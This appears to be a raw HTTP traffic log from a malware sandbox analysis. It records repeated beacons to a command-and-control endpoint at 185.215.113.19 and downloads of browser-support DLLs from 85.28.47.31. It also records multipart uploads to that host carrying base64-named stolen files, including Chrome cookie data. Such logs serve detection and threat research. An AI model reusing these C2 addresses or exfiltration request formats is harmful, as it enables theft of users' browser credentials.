Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/sqlite3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDHIDAEHCFHJJJJECAHost: 85.28.47.31Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4e 7a 59 31 4e 44 45 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 55 74 4d 44 63 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 31 4e 7a 51 77 43 55 35 4a 52 41 6b 31 4d 54 45 39 62 6b 35 68 5a 48 46 58 4f 58 56 55 59 31 6b 77 54 31 41 32 53 54 4e 68 5a 6d 35 79 4e 7a 46 76 4e 6b 56 36 59 56 6c 4d 63 32 52 77 56 7a 52 56 52 56 6c 4f 4d 33 5a 5a 63 56 39 79 59 6c 4a 79 54 6b 5a 34 54 54 46 71 62 33 70 51 52 33 56 6f 61 6b 39 53 51 6c 70 4c 53 30 31 36 4d 6e 52 6b 52 48 42 57 5a 54 64 6b 54 6e 56 55 56 33 41 30 51 33 6c 4c 4c 58 70 30 4e 55 6c 7a 4e 6e 64 57 52 57 78 32 5a 56 64 42 5a 6b 74 52 5a 33 64 4f 53 6d 6c 4c 53 33 52 59 53 45 4e 44 51 32 31 79 62 47 64 36 57 6c 52 73 4e 55 4e 70 53 32 70 55 5a 55 45 79 61 56 46 78 5a 6a 5a 36 62 46 4a 4c 4d 6d 67 34 64 32 63 78 61 46 5a 77 53 58 4e 58 63 32 46 4c 63 57 46 58 53 6e 6c 49 54 56 42 47 4d 30 70 42 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 2d 2d 0d 0a Data Ascii: ------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVlM
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDHIDAEHCFHJJJJECAHost: 85.28.47.31Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4e 7a 59 31 4e 44 45 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 55 74 4d 44 63 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 31 4e 7a 51 77 43 55 35 4a 52 41 6b 31 4d 54 45 39 62 6b 35 68 5a 48 46 58 4f 58 56 55 59 31 6b 77 54 31 41 32 53 54 4e 68 5a 6d 35 79 4e 7a 46 76 4e 6b 56 36 59 56 6c 4d 63 32 52 77 56 7a 52 56 52 56 6c 4f 4d 33 5a 5a 63 56 39 79 59 6c 4a 79 54 6b 5a 34 54 54 46 71 62 33 70 51 52 33 56 6f 61 6b 39 53 51 6c 70 4c 53 30 31 36 4d 6e 52 6b 52 48 42 57 5a 54 64 6b 54 6e 56 55 56 33 41 30 51 33 6c 4c 4c 58 70 30 4e 55 6c 7a 4e 6e 64 57 52 57 78 32 5a 56 64 42 5a 6b 74 52 5a 33 64 4f 53 6d 6c 4c 53 33 52 59 53 45 4e 44 51 32 31 79 62 47 64 36 57 6c 52 73 4e 55 4e 70 53 32 70 55 5a 55 45 79 61 56 46 78 5a 6a 5a 36 62 46 4a 4c 4d 6d 67 34 64 32 63 78 61 46 5a 77 53 58 4e 58 63 32 46 4c 63 57 46 58 53 6e 6c 49 54 56 42 47 4d 30 70 42 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 2d 2d 0d 0a Data Ascii: ------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVlM
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBKFHIJKJKECAAAECAHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 46 48 49 4a 4b 4a 4b 45 43 41 41 41 45 43 41 2d 2d 0d 0a Data Ascii: ------GHDBKFHIJKJKECAAAECAContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------GHDBKFHIJKJKECAAAECAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GHDBKFHIJKJKECAAAECAContent-Disposition: form-data; name="file"------GHDBKFHIJKJKECAAAECA--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJECFCGHIDGHIDHDHIEHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 2d 2d 0d 0a Data Ascii: ------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="file"------DHJECFCGHIDGHIDHDHIE--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/freebl3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/mozglue.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
